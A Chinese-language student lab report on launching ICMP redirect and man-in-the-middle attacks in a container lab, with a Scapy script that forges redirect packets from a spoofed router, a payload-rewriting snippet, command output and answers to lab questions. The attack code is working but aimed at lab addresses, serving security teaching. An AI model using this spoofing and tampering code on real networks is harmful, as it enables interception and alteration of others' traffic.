网络空间安全实训实验报告

纪盛谦 57118218 2021-7-12

Task1 : Launching ICMP Redirect Attack

将 sysctl 中的 net.ipv4.conf.all.accept_redirects 关闭

```
root@fbe5950f3b46:/# sysctl net.ipv4.conf.all.accept_redirects
net.ipv4.conf.all.accept_redirects = 0
```

编辑重定向攻击代码，外侧 IP 的源地址伪造成正常路由的 IP，目的地址为受害者 IP，其中 ICMP 的 type 为 5 表示重定向，code 为 0 表示网段重定向，更改的 gateway 设置为恶意路由地址。在其内封装受害主机向目的主机的 ICMP 报文。

```
#!/usr/bin/python3
from scapy.all import *

ip = IP(src = "10.9.0.11", dst = "10.9.0.5")
icmp = ICMP(type=5, code=0)
icmp.gw = "10.9.0.111"
# The enclosed IP packet should be the one that
# triggers the redirect message.
ip2 = IP(src = "10.9.0.5", dst = "192.168.60.5")
send(ip/icmp/ip2/ICMP());
~
```

从受害者主机向 192.168.60.5 进行 ping，此时从攻击者运行重定向程序，ping 操作会停止。

```
root@fbe5950f3b46:/# ping 192.168.60.5
PING 192.168.60.5 (192.168.60.5) 56(84) bytes of data.
64 bytes from 192.168.60.5: icmp_seq=1 ttl=63 time=0.149 ms
64 bytes from 192.168.60.5: icmp_seq=2 ttl=63 time=0.084 ms
64 bytes from 192.168.60.5: icmp_seq=3 ttl=63 time=0.084 ms
64 bytes from 192.168.60.5: icmp_seq=4 ttl=63 time=0.150 ms
```

通过 ip route show cache 指令可以看到已经重定向了

```
root@fbe5950f3b46:/# ip route show cache
192.168.60.5 via 10.9.0.111 dev eth0
    cache <redirected> expires 291sec
```

从受害者主机向 192.168.60.5 进行 traceroute 操作，可以看到会经过恶意路由 10.9.0.111.

```
                           My traceroute  [v0.93]
fbe5950f3b46 (10.9.0.5)                               2021-07-12T02:39:47+0000
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                 Packets                Pings
 Host                          Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. 10.9.0.111                  0.0%     5    0.2   0.2   0.2   0.3   0.1
 2. 10.9.0.11                   0.0%     4    0.2   0.2   0.2   0.2   0.0
 3. 192.168.60.5                0.0%     4    0.2   0.2   0.1   0.3   0.1
```

Question1：

重定向网关设置为外网 114.114.114.114

```
icmp.gw = "114.114.114.114"
```

再次进行同样的操作，可以看到此次重定向失败，因为 114.114.114.114 不在内网中，无法重定向。

Question2：

重定向网关设置为不存在的内网 10.9.0.123

```
icmp.gw = "10.9.0.123"
```

再次进行同样的操作，可以看到此次重定向失败，因为 10.9.0.123 虽然在内网中但不存在，无法重定向。

Question3：

将这些参数全部设置为 1 后，会发现重定向不到了，这是因为这些参数打开后会使得恶意主机发送重定向报文，当攻击者把受害者重定向到恶意主机后恶意主机又会将其重定向回去。

```
- net.ipv4.conf.all.send_redirects=1
- net.ipv4.conf.default.send_redirects=1
- net.ipv4.conf.eth0.send_redirects=1
```

Task2: Launching the MITM Attack

将样例原代码进行更改，当其检测到 jsq 时替换为 AAAA

```
newdata = data.replace(b'jsq', b'AAAAAAAA')
```

首先按照 Task1 的流程实现重定向，再在 192.168.60.5 主机上运行”nc -l 9090”，在 10.9.0.5 运行”nc 192.168.60.5 9090”，然后在恶意路由 10.9.0.111 运行 mitm 程序，此时在 10.9.0.5 输入 jsq，192.168.60.5 处会接收到 AAAA，MITM 攻击成功。这里之所以接受的的不是 AAAAAAAA 是因为原报文设定了长度 4，而重新构造的报文没有重新设置报文长度，因此只会发送 4 个 A。

```
root@288e21fbfd72:/# nc 192.168.60.5 9090
jsq

aa
root@b83706e855fc:/# nc -lp 9090
AAAA
aa
```

如果我们从 192.168.60.5 输入 jsq，则接受到的不会被改变，因为 192.168.60.5 未被修改路由表，不会经过恶意路由。

```
root@45d30b0b1aa7:/# nc 192.168.60.5 9090
jsq

aa
aa
jsq

root@abc85efa3255:/# nc -lp 9090
AAAA
aa
aa
jsq
```

Question4：

在实验中只需抓取一个方向的流量即可，那就是从 10.9.0.5 流向 192.168.60.5 的方向，因为只更改了 10.9.0.5 处的路由表而未更改 192.168.60.5 处的路由表，因此在这两个主机进行 nc 过程中，数据从 10.9.0.5 发送到 192.168.60.5 时会流经恶意路由，而反方向的则不会经过恶意路由。

Question5：

在筛选条件中添加筛选原 ip 为 10.9.0.5 后，可以发现在恶意路由上运行 MITM 攻击代码时会重复抓取自己发出的包

```
f = 'tcp and src 10.9.0.5'
.
Sent 1 packets.
*** b'AAAA', length: 4
.
Sent 1 packets.
.
Sent 1 packets.
*** b'\n', length: 1
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
*** b'aa\n', length: 3
.
Sent 1 packets.
.
Sent 1 packets.
*** b'AAAA', length: 4
```

在筛选条件中添加筛选原 mac 地址为 02:42:0a:09:00:05 后，可以发现在恶意路由上运行 MITM 攻击代码时不会重复抓取自己发出的包

```
f = 'tcp and ether src 02:42:0a:09:00:05'
```

```
root@deec814c5641:/volumes# python3 mitm.py
LAUNCHING MITM ATTACK.........
*** b'123\n', length: 4
.
Sent 1 packets.
*** b'jsq\n', length: 4
```

这是因为 mac 地址是在链路层，由每个主机的物理设备决定，在 MITM 程序中虽然伪造了 IP 但不能伪造 MAC，恶意路由发送报文的 MAC 是恶意路由的 MAC 而不是 10.9.0.5 的 MAC 地址，因此筛选 MAC 地址不会抓取自己发送到报文